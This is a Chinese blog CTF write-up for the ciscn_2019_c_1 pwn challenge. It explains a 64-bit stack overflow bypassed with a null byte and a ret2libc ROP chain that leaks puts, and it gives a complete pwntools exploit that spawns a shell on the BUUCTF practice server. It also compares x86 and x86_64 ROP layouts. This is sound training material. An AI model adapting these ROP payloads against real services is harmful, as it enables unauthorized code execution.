f1r3K0's Blog

欲买桂花同载酒

PWN_ciscn_2019_c_1

比较有意思的64位PWN题,中间遇到了一些坑,记录一下

1.分析程序

1
2
3
4
5
6
7
8
root@Hello-CTF:/mnt/c/Users/HelloCTF_OS/Desktop/pwnbuu# checksec ciscn_2019_c_1
[*] '/mnt/c/Users/HelloCTF_OS/Desktop/pwnbuu/ciscn_2019_c_1'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No

开了NX,64位程序,是个加解密程序

image-20241119110616402

加密函数

image-20241119112028576

2.思路

没有system和/bin/sh参数,因此需要构造ROP,并且没有给出libc文件,但存在puts函数,可以用于leak,捋一下步骤。

  1. 利用栈溢出点实现溢出

  2. 调用已经使用过的put函数,来暴露put函数真正入口在内存中的偏移地址

  3. 通过操作系统内存分页存储的特点,通过put函数后三个字节来(每页4kb),比对出libc的版本

  4. 在得到的libc中找到我们需要的函数(system)和字符(bin/bash),之后加上在内存中的偏移量得到二者在内存中真正的地址

  5. 最后通过溢出来调用system函数执行bin/bash命令

栈溢出

距离返回地址(0x50+0x08)字节

加密函数使用了strlen,可以利用\x00中断绕过

image-20241119112159959

1
2
r.sendlineafter('choice!\n','1')
payload = b'\0' + b'a'*(0x50 + 0x08 - 1)

构造ROP

1
ROPgadget --binary ciscn_2019_c_1 --only 'pop|ret'

image-20241119112421940

puts真实地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
p = remote('node5.buuoj.cn', 27937)

elf = ELF("./ciscn_2019_c_1")
proc = process("./ciscn_2019_c_1")

puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
pop_rdi = 0x400c83
main_addr = 0x400b28
ret = 0x4006b9
payload = b'\0' + b'a' * 87 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
p.sendlineafter("choice!\n", "1")
p.sendlineafter('Input your Plaintext to be encrypted', payload)
p.recvuntil('Ciphertext\n')
p.recvuntil('\n')

libc_puts = u64(p.recvuntil('\n')[:-1].ljust(8, b'\x00'))
print(hex(libc_puts))

system、binsh地址

1
2
3
4
5
6
obj = LibcSearcher("puts", libc_puts)

libc_base = libc_puts - obj.dump("puts")
libc_sys = libc_base + obj.dump("system")
libc_binsh = libc_base + obj.dump("str_bin_sh")
log.info(f'libc base={hex(libc_base)}; system={hex(libc_sys)}; /bin/sh={hex(libc_binsh)}')

3.构造EXP

坑点1:ubuntu18环境需要加个ret补齐栈

坑点2:和之前32位程序不同,较少参数时64位程序使用寄存器传参,因此构造ROP不同

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from pwn import *
from LibcSearcher import *

context.log_level = 'debug'

# p = process('./ciscn_2019_c_1')
p = remote('node5.buuoj.cn', 28379)

elf = ELF("./ciscn_2019_c_1")
proc = process("./ciscn_2019_c_1")

puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
pop_rdi = 0x400c83
main_addr = 0x400b28
ret = 0x4006b9
payload = b'\0' + b'a' * 87 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
p.sendlineafter("choice!\n", "1")
p.sendlineafter('Input your Plaintext to be encrypted', payload)
p.recvuntil('Ciphertext\n')
p.recvuntil('\n')

libc_puts = u64(p.recvuntil('\n')[:-1].ljust(8, b'\x00'))
#print(hex(libc_puts))
obj = LibcSearcher("puts", libc_puts)
libc_base = libc_puts - obj.dump("puts")
libc_sys = libc_base + obj.dump("system")
libc_binsh = libc_base + obj.dump("str_bin_sh")
#log.info(f'libc base={hex(libc_base)}; system={hex(libc_sys)}; /bin/sh={hex(libc_binsh)}')
payload2 = b'\0' + b'a' * 87 + p64(ret) + p64(pop_rdi) + p64(libc_binsh) + p64(libc_sys)
p.sendlineafter("choice!\n", "1")
p.sendlineafter('Input your Plaintext to be encrypted', payload2)
p.interactive()

image-20241119112811274

4.x86 和 x86_64差异

在 x86 和 x86_64 两种架构下,ROP 方法的 payload 组织方式不同:

  • x86 非syscall:

    • 参数通过栈传递,因此一般无需pop和ret指令;

    • 函数能直接访问在payload中预先防止放置的数据,是因为这数据作为些参数通过ebp被访问,而ebp会在函数prologue中设置

      • prologue: push ebp;mov ebp, esp
      • epilogue: leave;ret
    • 组织形式:FUNCTION ADDR + RETURN ADDR + ARGUMENT_0…N

      • 如果要实现执行多个函数,RETURN ADDR需要使用ROP gadget
  • x86_64 非syscall:

    • 前6个参数依次通过寄存器传递
    • gadget 均包含ret指令;
    • 组织形式:GADGET_0 ADDR + ARGUMENT_0 + GADGET_1 ADDR + … + GADGET_N ADDR + ARGUMENT_N + FUNCTION ADDR


© 2024 K